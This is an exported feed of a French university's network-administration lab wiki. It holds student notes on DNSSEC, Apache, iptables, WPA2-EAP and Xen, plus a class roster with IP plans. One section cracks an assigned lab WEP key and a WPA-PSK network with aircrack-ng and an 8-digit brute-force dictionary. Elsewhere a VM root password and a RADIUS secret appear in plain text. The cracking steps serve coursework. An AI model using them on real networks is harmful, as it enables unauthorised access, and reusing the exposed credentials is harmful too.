&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032) &lt;br /&gt;
    1    0/  1   CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288) &lt;br /&gt;
    2    2/  2   A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008) &lt;br /&gt;
    3    0/  1   D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264) &lt;br /&gt;
    4    7/  4   43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Cassage WPA-PKS =====&lt;br /&gt;
Ce script python permet de creer un dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):  # Pour générer des nombres de 00000000 à 99999999&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)  # Écrit le nombre avec 8 chiffres&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ou alors avec crunch :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite après execution nous pouvons recuperer le fichier .txt créer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On récuperer le dump comme precedemment pour cette borne pour mon cas :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;44:AD:D9:5F:87:04  -43        3        5    2  13   54e. WPA2 CCMP   PSK  kracotte05&amp;lt;/code&amp;gt;  &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et ensuite après avoir récuperer 1 data minimum :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sécurisation WiFi par WPA2-EAP ====&lt;br /&gt;
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student5 group radius_student5&lt;br /&gt;
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5        &lt;br /&gt;
aaa group server radius radius_student5                      &lt;br /&gt;
server 192.168.10.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_5       &lt;br /&gt;
vlan 15         &lt;br /&gt;
authentication open eap eap_student5 &lt;br /&gt;
authentication network-eap eap_student5&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 15 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.15&lt;br /&gt;
encapsulation dot1Q 15&lt;br /&gt;
bridge-group 15&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12162</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12162"/>
		<updated>2026-02-10T15:20:13Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Plan d'adressage */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l'école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d'adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCédric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12157</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12157"/>
		<updated>2026-02-10T15:13:54Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Effraction WiFi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
